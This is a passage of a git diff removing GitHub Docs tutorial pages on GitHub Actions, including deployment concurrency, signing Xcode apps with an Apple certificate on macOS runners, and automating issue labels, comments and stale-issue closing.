variables.product.prodname_actions %} offers features that let you control deployments. You can: - -* Trigger workflows with a variety of events. -* Configure environments to set rules before a job can proceed and to limit access to secrets. -* Use concurrency to control the number of deployments running at a time. - -For more information about continuous deployment, see [AUTOTITLE](/actions/deployment/about-deployments/about-continuous-deployment). - -## Prerequisites - -You should be familiar with the syntax for {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/learn-github-actions). - -## Triggering your deployment - -You can use a variety of events to trigger your deployment workflow. Some of the most common are: `pull_request`, `push`, and `workflow_dispatch`. - -For example, a workflow with the following triggers runs whenever: - -* There is a push to the `main` branch. -* A pull request targeting the `main` branch is opened, synchronized, or reopened. -* Someone manually triggers it. - -```yaml -on: - push: - branches: - - main - pull_request: - branches: - - main - workflow_dispatch: -``` - -For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows). - -## Using environments - -{% data reusables.actions.about-environments %} - -## Using concurrency - -Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. You can use concurrency so that an environment has a maximum of one deployment in progress and one deployment pending at a time. For more information about concurrency, see [AUTOTITLE](/actions/using-jobs/using-concurrency). - -> [!NOTE] -> `concurrency` and `environment` are not connected. The concurrency value can be any string; it does not need to be an environment name. Additionally, if another workflow uses the same environment but does not specify concurrency, that workflow will not be subject to any concurrency rules. - -For example, when the following workflow runs, it will be paused with the status `pending` if any job or workflow that uses the `production` concurrency group is in progress. It will also cancel any job or workflow that uses the `production` concurrency group and has the status `pending`. This means that there will be a maximum of one running and one pending job or workflow in that uses the `production` concurrency group. - -```yaml -name: Deployment - -concurrency: production - -on: - push: - branches: - - main - -jobs: - deployment: - runs-on: ubuntu-latest - environment: production - steps: - - name: deploy - # ...deployment-specific steps -``` - -You can also specify concurrency at the job level. This will allow other jobs in the workflow to proceed even if the concurrent job is `pending`. - -```yaml -name: Deployment - -on: - push: - branches: - - main - -jobs: - deployment: - runs-on: ubuntu-latest - environment: production - concurrency: production - steps: - - name: deploy - # ...deployment-specific steps -``` - -You can also use `cancel-in-progress` to cancel any currently running job or workflow in the same concurrency group. - -```yaml -name: Deployment - -concurrency: - group: production - cancel-in-progress: true - -on: - push: - branches: - - main - -jobs: - deployment: - runs-on: ubuntu-latest - environment: production - steps: - - name: deploy - # ...deployment-specific steps -``` - -For guidance on writing deployment-specific steps, see [Finding deployment examples](#finding-deployment-examples). - -## Viewing deployment history - -When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see [AUTOTITLE](/actions/deployment/managing-your-deployments/viewing-deployment-history). - -## Monitoring workflow runs - -Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug deployments. For more information see, [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph). - -You can also view the logs of each workflow run and the history of workflow runs. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). - -## Tracking deployments through apps - -{% ifversion fpt or ghec %} -If your personal account or organization on {% data variables.product.github %} is integrated with Microsoft Teams or Slack, you can track deployments that use environments through Microsoft Teams or Slack. For example, you can receive notifications through the app when a deployment is pending approval, when a deployment is approved, or when the deployment status changes. For more information about integrating Microsoft Teams or Slack, see [AUTOTITLE](/get-started/exploring-integrations/github-extensions-and-integrations#team-communication-tools). -{% endif %} - -You can also build an app that uses deployment and deployment status webhooks to track deployments. {% data reusables.actions.environment-deployment-event %} For more information, see [AUTOTITLE](/apps) and [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment). - -## Choosing a runner - -You can run your deployment workflow on {% data variables.product.company_short %}-hosted runners or on self-hosted runners. Traffic from {% data variables.product.company_short %}-hosted runners can come from a [wide range of network addresses](/rest/meta/meta#get-github-meta-information). If you are deploying to an internal environment and your company restricts external traffic into private networks, {% data variables.product.prodname_actions %} workflows running on {% data variables.product.company_short %}-hosted runners may not be able to communicate with your internal services or resources. To overcome this, you can host your own runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners) and [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). - -## Displaying a status badge - -You can use a status badge to display the status of your deployment workflow. {% data reusables.repositories.actions-workflow-status-badge-intro %} - -For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge). - -## Finding deployment examples - -This article demonstrated features of {% data variables.product.prodname_actions %} that you can add to your deployment workflows. - -{% data reusables.actions.cd-templates-actions %} diff --git a/content/actions/use-cases-and-examples/deploying/index.md b/content/actions/use-cases-and-examples/deploying/index.md deleted file mode 100644 index f54f1dd93859..000000000000 --- a/content/actions/use-cases-and-examples/deploying/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Deploying -shortTitle: Deployment -intro: 'Automatically deploy projects with {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /deploying-with-github-actions - - /deploying-nodejs-to-azure-app-service - - /deploying-python-to-azure-app-service - - /deploying-java-to-azure-app-service - - /deploying-net-to-azure-app-service - - /deploying-php-to-azure-app-service - - /deploying-docker-to-azure-app-service - - /deploying-to-azure-static-web-app - - /deploying-to-azure-kubernetes-service - - /deploying-to-amazon-elastic-container-service - - /deploying-to-google-kubernetes-engine - - /installing-an-apple-certificate-on-macos-runners-for-xcode-development ---- - diff --git a/content/actions/use-cases-and-examples/deploying/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md b/content/actions/use-cases-and-examples/deploying/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md deleted file mode 100644 index 9dfa207925a4..000000000000 --- a/content/actions/use-cases-and-examples/deploying/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Installing an Apple certificate on macOS runners for Xcode development -shortTitle: Sign Xcode applications -intro: 'You can sign Xcode apps within your continuous integration (CI) workflow by installing an Apple code signing certificate on {% data variables.product.prodname_actions %} runners.' -redirect_from: - - /actions/guides/installing-an-apple-certificate-on-macos-runners-for-xcode-development - - /actions/deployment/installing-an-apple-certificate-on-macos-runners-for-xcode-development - - /actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development - - /actions/deployment/deploying-xcode-applications -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI - - Xcode ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to add a step to your continuous integration (CI) workflow that installs an Apple code signing certificate and provisioning profile on {% data variables.product.prodname_actions %} runners. This will allow you to sign your Xcode apps for publishing to the Apple App Store, or distributing it to test groups. - -## Prerequisites - -You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see: - -* [AUTOTITLE](/actions/learn-github-actions) -* [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions) - -You should have an understanding of Xcode app building and signing. For more information, see the [Apple developer documentation](https://developer.apple.com/documentation/). - -## Creating secrets for your certificate and provisioning profile - -The signing process involves storing certificates and provisioning profiles, transferring them to the runner, importing them to the runner's keychain, and using them in your build. - -To use your certificate and provisioning profile on a runner, we strongly recommend that you use {% data variables.product.prodname_dotcom %} secrets. For more information on creating secrets and using them in a workflow, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -Create secrets in your repository or organization for the following items: - -* Your Apple signing certificate. - - * This is your `p12` certificate file. For more information on exporting your signing certificate from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/dev154b28f09). - - * You should convert your certificate to Base64 when saving it as a secret. In this example, the secret is named `BUILD_CERTIFICATE_BASE64`. - - * Use the following command to convert your certificate to Base64 and copy it to your clipboard: - - ```shell - base64 -i BUILD_CERTIFICATE.p12 | pbcopy - ``` - -* The password for your Apple signing certificate. - * In this example, the secret is named `P12_PASSWORD`. - -* Your Apple provisioning profile. - - * For more information on exporting your provisioning profile from Xcode, see the [Xcode documentation](https://help.apple.com/xcode/mac/current/#/deva899b4fe5). - - * You should convert your provisioning profile to Base64 when saving it as a secret. In this example, the secret is named `BUILD_PROVISION_PROFILE_BASE64`. - - * Use the following command to convert your provisioning profile to Base64 and copy it to your clipboard: - - ```shell - base64 -i PROVISIONING_PROFILE.mobileprovision | pbcopy - ``` - -* A keychain password. - - * A new keychain will be created on the runner, so the password for the new keychain can be any new random string. In this example, the secret is named `KEYCHAIN_PASSWORD`. - -## Add a step to your workflow - -This example workflow includes a step that imports the Apple certificate and provisioning profile from the {% data variables.product.prodname_dotcom %} secrets, and installs them on the runner. - -```yaml copy -name: App build -on: push - -jobs: - build_with_signing: - runs-on: macos-latest - - steps: - - name: Checkout repository - uses: {% data reusables.actions.action-checkout %} - - name: Install the Apple certificate and provisioning profile - env: - BUILD_CERTIFICATE_BASE64: {% raw %}${{ secrets.BUILD_CERTIFICATE_BASE64 }}{% endraw %} - P12_PASSWORD: {% raw %}${{ secrets.P12_PASSWORD }}{% endraw %} - BUILD_PROVISION_PROFILE_BASE64: {% raw %}${{ secrets.BUILD_PROVISION_PROFILE_BASE64 }}{% endraw %} - KEYCHAIN_PASSWORD: {% raw %}${{ secrets.KEYCHAIN_PASSWORD }}{% endraw %} - run: | - # create variables - CERTIFICATE_PATH=$RUNNER_TEMP/build_certificate.p12 - PP_PATH=$RUNNER_TEMP/build_pp.mobileprovision - KEYCHAIN_PATH=$RUNNER_TEMP/app-signing.keychain-db - - # import certificate and provisioning profile from secrets - echo -n "$BUILD_CERTIFICATE_BASE64" | base64 --decode -o $CERTIFICATE_PATH - echo -n "$BUILD_PROVISION_PROFILE_BASE64" | base64 --decode -o $PP_PATH - - # create temporary keychain - security create-keychain -p "$KEYCHAIN_PASSWORD" $KEYCHAIN_PATH - security set-keychain-settings -lut 21600 $KEYCHAIN_PATH - security unlock-keychain -p "$KEYCHAIN_PASSWORD" $KEYCHAIN_PATH - - # import certificate to keychain - security import $CERTIFICATE_PATH -P "$P12_PASSWORD" -A -t cert -f pkcs12 -k $KEYCHAIN_PATH - security set-key-partition-list -S apple-tool:,apple: -k "$KEYCHAIN_PASSWORD" $KEYCHAIN_PATH - security list-keychain -d user -s $KEYCHAIN_PATH - - # apply provisioning profile - mkdir -p ~/Library/MobileDevice/Provisioning\ Profiles - cp $PP_PATH ~/Library/MobileDevice/Provisioning\ Profiles - - name: Build app - # ... -``` - -> [!NOTE] -> For iOS build targets, your provisioning profile should have the extension `.mobileprovision`. For macOS build targets, the extension should be `.provisionprofile`. The example workflow above should be updated to reflect your target platform. - -## Required clean-up on self-hosted runners - -{% data variables.product.prodname_dotcom %}-hosted runners are isolated virtual machines that are automatically destroyed at the end of the job execution. This means that the certificates and provisioning profile used on the runner during the job will be destroyed with the runner when the job is completed. - -On self-hosted runners, the `$RUNNER_TEMP` directory is cleaned up at the end of the job execution, but the keychain and provisioning profile might still exist on the runner. - -If you use self-hosted runners, you should add a final step to your workflow to help ensure that these sensitive files are deleted at the end of the job. The workflow step shown below is an example of how to do this. - -{% raw %} - -```yaml -- name: Clean up keychain and provisioning profile - if: ${{ always() }} - run: | - security delete-keychain $RUNNER_TEMP/app-signing.keychain-db - rm ~/Library/MobileDevice/Provisioning\ Profiles/build_pp.mobileprovision -``` - -{% endraw %} diff --git a/content/actions/use-cases-and-examples/index.md b/content/actions/use-cases-and-examples/index.md deleted file mode 100644 index e8892369bef3..000000000000 --- a/content/actions/use-cases-and-examples/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Use cases and examples -shortTitle: Use cases and examples -intro: 'Example workflows that demonstrate the features of {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /actions/examples - - /actions/deployment - - /actions/deployment/deploying-to-your-cloud-provider - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure -children: - - creating-an-example-workflow - - building-and-testing - - deploying - - publishing-packages - - project-management - - using-containerized-services ---- - diff --git a/content/actions/use-cases-and-examples/project-management/adding-labels-to-issues.md b/content/actions/use-cases-and-examples/project-management/adding-labels-to-issues.md deleted file mode 100644 index bed3d740725a..000000000000 --- a/content/actions/use-cases-and-examples/project-management/adding-labels-to-issues.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Adding labels to issues -shortTitle: Add labels to issues -intro: 'You can use {% data variables.product.prodname_actions %} to automatically label issues.' -redirect_from: - - /actions/guides/adding-labels-to-issues - - /actions/managing-issues-and-pull-requests/adding-labels-to-issues -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Workflows - - Project management ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This tutorial demonstrates how to use the {% data variables.product.prodname_cli %} in a workflow to label newly opened or reopened issues. For example, you can add the `triage` label every time an issue is opened or reopened. Then, you can see all issues that need to be triaged by filtering for issues with the `triage` label. - -The {% data variables.product.prodname_cli %} allows you to easily use the {% data variables.product.prodname_dotcom %} API in a workflow. - -In the tutorial, you will first make a workflow file that uses the {% data variables.product.prodname_cli %}. Then, you will customize the workflow to suit your needs. - -## Creating the workflow - -1. {% data reusables.actions.choose-repo %} -1. {% data reusables.actions.make-workflow-file %} -1. Copy the following YAML contents into your workflow file. - - ```yaml copy - name: Label issues - on: - issues: - types: - - reopened - - opened - jobs: - label_issues: - runs-on: ubuntu-latest - permissions: - issues: write - steps: - - run: gh issue edit "$NUMBER" --add-label "$LABELS" - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - GH_REPO: {% raw %}${{ github.repository }}{% endraw %} - NUMBER: {% raw %}${{ github.event.issue.number }}{% endraw %} - LABELS: triage - ``` - -1. Customize the `env` values in your workflow file: - * The `GH_TOKEN`, `GH_REPO`, and `NUMBER` values are automatically set using the `github` and `secrets` contexts. You do not need to change these. - * Change the value for `LABELS` to the list of labels that you want to add to the issue. The label(s) must exist for your repository. Separate multiple labels with commas. For example, `help wanted,good first issue`. For more information about labels, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels#applying-labels-to-issues-and-pull-requests). -1. {% data reusables.actions.commit-workflow %} - -## Testing the workflow - -Every time an issue in your repository is opened or reopened, this workflow will add the labels that you specified to the issue. - -Test out your workflow by creating an issue in your repository. - -1. Create an issue in your repository. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). -1. To see the workflow run that was triggered by creating the issue, view the history of your workflow runs. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). -1. When the workflow completes, the issue that you created should have the specified labels added. - -## Next steps - -* To learn more about additional things you can do with the {% data variables.product.prodname_cli %}, see the [GitHub CLI manual](https://cli.github.com/manual/). -* To learn more about different events that can trigger your workflow, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#issues). -* [Search GitHub](https://github.com/search?q=path%3A.github%2Fworkflows+gh+issue+edit&type=code) for examples of workflows using `gh issue edit`. diff --git a/content/actions/use-cases-and-examples/project-management/closing-inactive-issues.md b/content/actions/use-cases-and-examples/project-management/closing-inactive-issues.md deleted file mode 100644 index b22bcd249971..000000000000 --- a/content/actions/use-cases-and-examples/project-management/closing-inactive-issues.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Closing inactive issues -shortTitle: Close inactive issues -intro: 'You can use {% data variables.product.prodname_actions %} to comment on or close issues that have been inactive for a certain period of time.' -redirect_from: - - /actions/guides/closing-inactive-issues - - /actions/managing-issues-and-pull-requests/closing-inactive-issues -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Workflows - - Project management ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This tutorial demonstrates how to use the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues) to comment on and close issues that have been inactive for a certain period of time. For example, you can comment if an issue has been inactive for 30 days to prompt participants to take action. Then, if no additional activity occurs after 14 days, you can close the issue. - -In the tutorial, you will first make a workflow file that uses the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues). Then, you will customize the workflow to suit your needs. - -## Creating the workflow - -1. {% data reusables.actions.choose-repo %} -1. {% data reusables.actions.make-workflow-file %} -1. Copy the following YAML contents into your workflow file. - - ```yaml copy - name: Close inactive issues - on: - schedule: - - cron: "30 1 * * *" - - jobs: - close-issues: - runs-on: ubuntu-latest - permissions: - issues: write - pull-requests: write - steps: - - uses: {% data reusables.actions.action-stale %} - with: - days-before-issue-stale: 30 - days-before-issue-close: 14 - stale-issue-label: "stale" - stale-issue-message: "This issue is stale because it has been open for 30 days with no activity." - close-issue-message: "This issue was closed because it has been inactive for 14 days since being marked as stale." - days-before-pr-stale: -1 - days-before-pr-close: -1 - repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - ``` - -1. Customize the parameters in your workflow file: - * Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every day at 1:30 UTC. For more information about scheduled workflows, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#scheduled-events). - * Change the value for `days-before-issue-stale` to the number of days without activity before the `actions/stale` action labels an issue. If you never want this action to label issues, set this value to `-1`. - * Change the value for `days-before-issue-close` to the number of days without activity before the `actions/stale` action closes an issue. If you never want this action to close issues, set this value to `-1`. - * Change the value for `stale-issue-label` to the label that you want to apply to issues that have been inactive for the amount of time specified by `days-before-issue-stale`. - * Change the value for `stale-issue-message` to the comment that you want to add to issues that are labeled by the `actions/stale` action. - * Change the value for `close-issue-message` to the comment that you want to add to issues that are closed by the `actions/stale` action. -1. {% data reusables.actions.commit-workflow %} - -## Expected results - -Based on the `schedule` parameter (for example, every day at 1:30 UTC), your workflow will find issues that have been inactive for the specified period of time and will add the specified comment and label. Additionally, your workflow will close any previously labeled issues if no additional activity has occurred for the specified period of time. - -> [!NOTE] -> {% data reusables.actions.schedule-delay %} - -You can view the history of your workflow runs to see this workflow run periodically. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). - -This workflow will only label and/or close 30 issues at a time in order to avoid exceeding a rate limit. You can configure this with the `operations-per-run` setting. For more information, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues). - -## Next steps - -* To learn more about additional things you can do with the `actions/stale` action, like closing inactive pull requests, ignoring issues with certain labels or milestones, or only checking issues with certain labels, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues). -* [Search GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) for examples of workflows using this action. diff --git a/content/actions/use-cases-and-examples/project-management/commenting-on-an-issue-when-a-label-is-added.md b/content/actions/use-cases-and-examples/project-management/commenting-on-an-issue-when-a-label-is-added.md deleted file mode 100644 index fb7f97e74aaf..000000000000 --- a/content/actions/use-cases-and-examples/project-management/commenting-on-an-issue-when-a-label-is-added.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Commenting on an issue when a label is added -intro: 'You can use {% data variables.product.prodname_actions %} to automatically comment on issues when a specific label is applied.' -redirect_from: - - /actions/guides/commenting-on-an-issue-when-a-label-is-added - - /actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Workflows - - Project management -shortTitle: Add label to comment on issue ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This tutorial demonstrates how to use the {% data variables.product.prodname_cli %} to comment on an issue when a specific label is applied. For example, when the `help wanted` label is added to an issue, you can add a comment to encourage contributors to work on the issue. For more information about {% data variables.product.prodname_cli %}, see [AUTOTITLE](/actions/using-workflows/using-github-cli-in-workflows). - -In the tutorial, you will first make a workflow file that uses the `gh issue comment` command to comment on an issue. Then, you will customize the workflow to suit your needs. - -## Creating the workflow - -1. {% data reusables.actions.choose-repo %} -1. {% data reusables.actions.make-workflow-file %} -1. Copy the following YAML contents into your workflow file. - - ```yaml copy - name: Add comment - on: - issues: - types: - - labeled - jobs: - add-comment: - if: github.event.label.name == 'help wanted' - runs-on: ubuntu-latest - permissions: - issues: write - steps: - - name: Add comment - run: gh issue comment "$NUMBER" --body "$BODY" - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - GH_REPO: {% raw %}${{ github.repository }}{% endraw %} - NUMBER: {% raw %}${{ github.event.issue.number }}{% endraw %} - BODY: > - This issue is available for anyone to work on. - **Make sure to reference this issue in your pull request.** - :sparkles: Thank you for your contribution! :sparkles: - ``` - -1. Customize the parameters in your workflow file: - * Replace `help wanted` in `if: github.event.label.name == 'help wanted'` with the label that you want to act on. If you want to act on more than one label, separate the conditions with `||`. For example, `if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` will comment whenever the `bug` or `fix me` labels are added to an issue. - * Change the value for `BODY` to the comment that you want to add. GitHub flavored markdown is supported. For more information about markdown, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). -1. {% data reusables.actions.commit-workflow %} - -## Testing the workflow - -Every time an issue in your repository is labeled, this workflow will run. If the label that was added is one of the labels that you specified in your workflow file, the `gh issue comment` command will add the comment that you specified to the issue. - -Test your workflow by applying your specified label to an issue. - -1. Open an issue in your repository. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). -1. Label the issue with the specified label in your workflow file. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels#applying-labels-to-issues-and-pull-requests). -1. To see the workflow run triggered by labeling the issue, view the history of your workflow runs. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). -1. When the workflow completes, the issue that you labeled should have a comment added. - -## Next steps - -* To learn more about additional things you can do with the GitHub CLI, like editing existing comments, visit the [GitHub CLI Manual](https://cli.github.com/manual/). diff --git a/content/actions/use-cases-and-examples/project-management/index.md b/content/actions/use-cases-and-examples/project-management/index.md deleted file mode 100644 index c244a5365649..000000000000 --- a/content/actions/use-cases-and-examples/project-management/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Managing projects -shortTitle: Project management -intro: 'You can automatically manage your issues and pull requests using {% data variables.product.prodname_actions %} workflows.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /using-github-actions-for-project-management - - /adding-labels-to-issues - - /closing-inactive-issues - - /commenting-on-an-issue-when-a-label-is-added - - /moving-assigned-issues-on-project-boards - - /removing-a-label-when-a-card-is-added-to-a-project-board-column - - /scheduling-issue-creation -redirect_from: - - /actions/managing-issues-and-pull-requests ---- - diff --git a/content/actions/use-cases-and-examples/project-management/moving-assigned-issues-on-project-boards.md b/content/actions/use-cases-and-examples/project-management/moving-assigned-issues-on-project-boards.md deleted file mode 100644 index 66b5d53c80fe..000000000000 --- a/content/actions/use-cases-and-examples/project-management/moving-assigned-issues-on-project-boards.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: 'Moving assigned issues on {% data variables.projects.projects_v1_boards %}' -intro: 'You can use {% data variables.product.prodname_actions %} to automatically move an issue to a specific column on a {% data variables.projects.projects_v1_board %} when the issue is assigned.' -redirect_from: - - /actions/guides/moving-assigned-issues-on-project-boards - - /actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards -versions: - feature: projects-v1 -type: tutorial -topics: - - Workflows - - Project management -shortTitle: Move assigned issues -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This tutorial demonstrates how to use the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation) to automatically move an issue to a specific column on a {% data variables.projects.projects_v1_board %} when the issue is assigned. For example, when an issue is assigned, you can move it into the `In Progress` column your {% data variables.projects.projects_v1_board %}. - -In the tutorial, you will first make a workflow file that uses the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation). Then, you will customize the workflow to suit your needs. - -## Creating the workflow - -1. {% data reusables.actions.choose-repo %} -1. In your repository, choose a {% data variables.projects.projects_v1_board %}. {% ifversion projects-v1-can-create %} You can use an existing project, or you can create a new project. For more information about creating a project, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board).{% endif %} -1. {% data reusables.actions.make-workflow-file %} -1. Copy the following YAML contents into your workflow file. - - ```yaml copy - {% data reusables.actions.actions-not-certified-by-github-comment %} - - {% data reusables.actions.actions-use-sha-pinning-comment %} - - name: Move assigned card - on: - issues: - types: - - assigned - jobs: - move-assigned-card: - runs-on: ubuntu-latest - steps: - - uses: alex-page/github-project-automation-plus@7ffb872c64bd809d23563a130a0a97d01dfa8f43 - with: - project: Docs Work - column: In Progress - repo-token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %} - ``` - -1. Customize the parameters in your workflow file: - * Change the value for `project` to the name of your {% data variables.projects.projects_v1_board %}. If you have multiple {% data variables.projects.projects_v1_boards %} with the same name, the `alex-page/github-project-automation-plus` action will act on all projects with the specified name. - * Change the value for `column` to the name of the column where you want issues to move when they are assigned. - * Change the value for `repo-token`: - 1. Create a {% data variables.product.pat_v1 %} with the `repo` scope. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - 1. Store this {% data variables.product.pat_generic %} as a secret in your repository. For more information about storing secrets, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - 1. In your workflow file, replace `PERSONAL_ACCESS_TOKEN` with the name of your secret. -1. {% data reusables.actions.commit-workflow %} - -## Testing the workflow - -Whenever an issue in your repository is assigned, the issue will be moved to the specified {% data variables.projects.projects_v1_board %} column. If the issue is not already on the {% data variables.projects.projects_v1_board %}, it will be added to the {% data variables.projects.projects_v1_board %}. - -If your repository is user-owned, the `alex-page/github-project-automation-plus` action will act on all projects in your repository or personal account that have the specified project name and column. Likewise, if your repository is organization-owned, the action will act on all projects in your repository or organization that have the specified project name and column. - -Test your workflow by assigning an issue in your repository. - -1. Open an issue in your repository. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue). -1. Assign the issue. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users). -1. To see the workflow run that assigning the issue triggered, view the history of your workflow runs. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). -1. When the workflow completes, the issue that you assigned should be added to the specified {% data variables.projects.projects_v1_board %} column. - -## Next steps - -* To learn more about additional things you can do with the `alex-page/github-project-automation-plus` action, like deleting or archiving project cards, visit the [`alex-page/github-project-automation-plus` action documentation](https://github.com/marketplace/actions/github-project-automation). diff --git a/content/actions/use-cases-and-examples/project-management/removing-a-label-when-a-card-is-added-to-a-project-board-column.md b/content/actions/use-cases-and-examples/project-management/removing-a-label-when-a-card-is-added-to-a-project-board-column.md deleted file mode 100644 index 1b070dce5ee5..000000000000 --- a/content/actions/use-cases-and-examples/project-management/removing-a-label-when-a-card-is-added-to-a-project-board-column.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: 'Removing a label when a card is added to a {% data variables.projects.projects_v1_board %} column' -intro: 'You can use {% data variables.product.prodname_actions %} to automatically remove a label when an issue or pull request is added to a specific column on a {% data variables.projects.projects_v1_board %}.' -redirect_from: - - /actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column - - /actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column -versions: - feature: projects-v1 -type: tutorial -topics: - - Workflows - - Project management -shortTitle: Remove label when adding card -allowTitleToDifferFromFilename: true ---- - -{% data reusables.projects.project_boards_old %} - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This tutorial demonstrates how to use the [`actions/github-script` action](https://github.com/marketplace/actions/github-script) along with a conditional to remove a label from issues and pull requests that are added to a specific column on a {% data variables.projects.projects_v1_board %}. For example, you can remove the `needs review` label when project cards are moved into the `Done` column. - -In the tutorial, you will first make a workflow file that uses the [`actions/github-script` action](https://github.com/marketplace/actions/github-script). Then, you will customize the workflow to suit your needs. - -## Creating the workflow - -1. {% data reusables.actions.choose-repo %} -1. Choose a {% data variables.projects.projects_v1_board %} that belongs to the repository. This workflow cannot be used with projects that belong to users or organizations. {% ifversion projects-v1-can-create %} You can use an existing {% data variables.projects.projects_v1_board %}, or you can create a new {% data variables.projects.projects_v1_board %}. For more information about creating a project, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board).{% endif %} -1. {% data reusables.actions.make-workflow-file %} -1. Copy the following YAML contents into your workflow file. - - ```yaml copy - name: Remove a label - on: - project_card: - types: - - moved - jobs: - remove_label: - if: github.event.project_card.column_id == '12345678' - runs-on: ubuntu-latest - permissions: - issues: write - pull-requests: write - steps: - - uses: {% data reusables.actions.action-github-script %} - with: - script: | - // this gets the number at the end of the content URL, which should be the issue/PR number - const issue_num = context.payload.project_card.content_url.split('/').pop() - github.rest.issues.removeLabel({ - issue_number: issue_num, - owner: context.repo.owner, - repo: context.repo.repo, - name: ["needs review"] - }) - ``` - -1. Customize the parameters in your workflow file: - * In `github.event.project_card.column_id == '12345678'`, replace `12345678` with the ID of the column where you want to un-label issues and pull requests that are moved there. - - To find the column ID, navigate to your {% data variables.projects.projects_v1_board %}. Next to the title of the column, click {% octicon "kebab-horizontal" aria-label="Column menu" %} then click **Copy column link**. The column ID is the number at the end of the copied link. For example, `24687531` is the column ID for `https://github.com/octocat/octo-repo/projects/1#column-24687531`. - - If you want to act on more than one column, separate the conditions with `||`. For example, `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` will act whenever a project card is added to column 